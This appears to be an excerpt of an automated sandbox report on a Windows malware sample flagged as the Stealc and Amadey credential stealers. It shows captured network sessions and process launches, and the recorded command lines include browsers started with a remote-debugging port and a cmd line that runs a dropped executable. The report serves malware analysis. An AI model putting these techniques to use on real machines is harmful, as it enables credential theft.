2024-11-25 17:29:02 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:02 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:02 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: fb43cdc2-901e-0064-4ebf-3ee8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172902Z-178bfbc474bpnd5vhC1NYC4vr400000007ug0000000069rx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:02 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	49932	104.117.182.59	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:02 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:29:03 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Tue, 29 Oct 2024 19:03:22 GMT X-Source-Length: 95457 X-Datacenter: westus X-ActivityId: 155cd87c-435f-4d80-bfaf-3f0e9ec39163 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=49203 Expires: Tue, 26 Nov 2024 07:09:06 GMT Date: Mon, 25 Nov 2024 17:29:03 GMT Connection: close
2024-11-25 17:29:03 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:03 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:03 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:03 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 25ce3caa-f01e-003f-73dc-3ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172903Z-15b8b599d88vp97chC1TEB5pzw000000067000000000chr7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:03 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:04 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:04 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 512d0a55-c01e-0079-2cc0-3ee51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172904Z-178bfbc474b9fdhphC1NYCac0n00000007p000000000hpvd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:04 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49935	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:04 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:04 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:04 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: def4d052-b01e-0053-1eaf-3ecdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172904Z-178bfbc474bpnd5vhC1NYC4vr400000007pg00000000r5ag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:04 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:04 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:04 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 198a258a-e01e-000c-1dbf-3e8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172904Z-178bfbc474bv587zhC1NYCny5w00000007m000000000ncet x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:04 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:04 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:05 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:05 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 21def030-601e-0084-7c7b-3b6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172904Z-174c587ffdfcj798hC1TEB9bq400000006bg00000000nd38 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:05 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Target ID:	0
Start time:	12:28:02
Start date:	25/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x310000
File size:	1'804'800 bytes
MD5 hash:	72870370B01ACB1D84EA4F9BAF6817BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2592090534.00000000003DC000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2593928893.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2077095798.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2592090534.0000000000311000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:28:13
Start date:	25/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:28:14
Start date:	25/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2464 --field-trial-handle=2388,i,17089066467111702127,3519208974984720801,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:28:24
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:28:24
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2332 --field-trial-handle=2224,i,13681611062045776192,15171286190731383131,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:28:24
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:28:25
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3004 --field-trial-handle=2488,i,14213947528394681601,11574082288306542738,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	12:28:30
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6484 --field-trial-handle=2488,i,14213947528394681601,11574082288306542738,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	12:28:30
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6624 --field-trial-handle=2488,i,14213947528394681601,11574082288306542738,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	12:28:54
Start date:	25/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDBGIJEHIID.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	12:28:54
Start date:	25/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	12:28:54
Start date:	25/11/2024
Path:	C:\Users\user\DocumentsDBGIJEHIID.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsDBGIJEHIID.exe"
Imagebase:	0x940000
File size:	1'853'440 bytes
MD5 hash:	B20E350B0C7795A2BD612C71136B55AD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2669426184.0000000000941000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000003.2582605099.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	12:29:00
Start date:	25/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xa50000
File size:	1'853'440 bytes
MD5 hash:	B20E350B0C7795A2BD612C71136B55AD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000003.2639653458.00000000052E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2680209843.0000000000A51000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	12:29:00
Start date:	25/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xa50000
File size:	1'853'440 bytes
MD5 hash:	B20E350B0C7795A2BD612C71136B55AD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.2645701454.0000000005180000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2687977905.0000000000A51000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	12:29:25
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6740 --field-trial-handle=2488,i,14213947528394681601,11574082288306542738,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	12:30:00
Start date:	25/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xa50000
File size:	1'853'440 bytes
